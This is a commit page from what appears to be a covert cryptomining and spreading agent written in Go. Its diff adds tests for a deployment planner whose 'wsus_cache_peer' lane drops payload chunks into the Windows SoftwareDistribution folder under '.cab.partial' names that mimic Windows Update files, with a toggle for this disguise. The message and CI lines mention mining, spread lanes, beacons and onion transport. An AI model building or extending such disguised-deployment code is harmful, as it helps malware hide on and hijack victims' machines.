Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -58,6 +58,29 @@ func TestBuildPlanWSUSCachePeerLane(t *testing.T) {
|
||||
if !containsStr(plan.Manifest.Dest, "SoftwareDistribution") {
|
||||
t.Fatalf("dest=%q", plan.Manifest.Dest)
|
||||
}
|
||||
if len(plan.Manifest.Chunks) != 1 || !containsStr(plan.Manifest.Chunks[0].File, ".cab.partial") {
|
||||
t.Fatalf("expected format-mimic chunk name, chunks=%+v", plan.Manifest.Chunks)
|
||||
}
|
||||
if !containsStr(plan.Manifest.Chunks[0].URL, "wsus_wrap=1") {
|
||||
t.Fatalf("url=%q", plan.Manifest.Chunks[0].URL)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildPlanWSUSCachePeerLaneFormatMimicOff(t *testing.T) {
|
||||
h := testDeployPlanHandler(t)
|
||||
off := false
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "windows", BuildID: "b1", WSUSFormatMimic: &off,
|
||||
}, "Wuauserv", ServiceDeployLane{Lane: "wsus_cache_peer"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(plan.Manifest.Chunks) != 1 || containsStr(plan.Manifest.Chunks[0].File, ".cab.partial") {
|
||||
t.Fatalf("expected raw chunk filename, chunks=%+v", plan.Manifest.Chunks)
|
||||
}
|
||||
if containsStr(plan.Manifest.Chunks[0].URL, "wsus_wrap=1") {
|
||||
t.Fatalf("url=%q", plan.Manifest.Chunks[0].URL)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildPlanDNSTXTLane(t *testing.T) {
|
||||
|
||||
Reference in New Issue
Block a user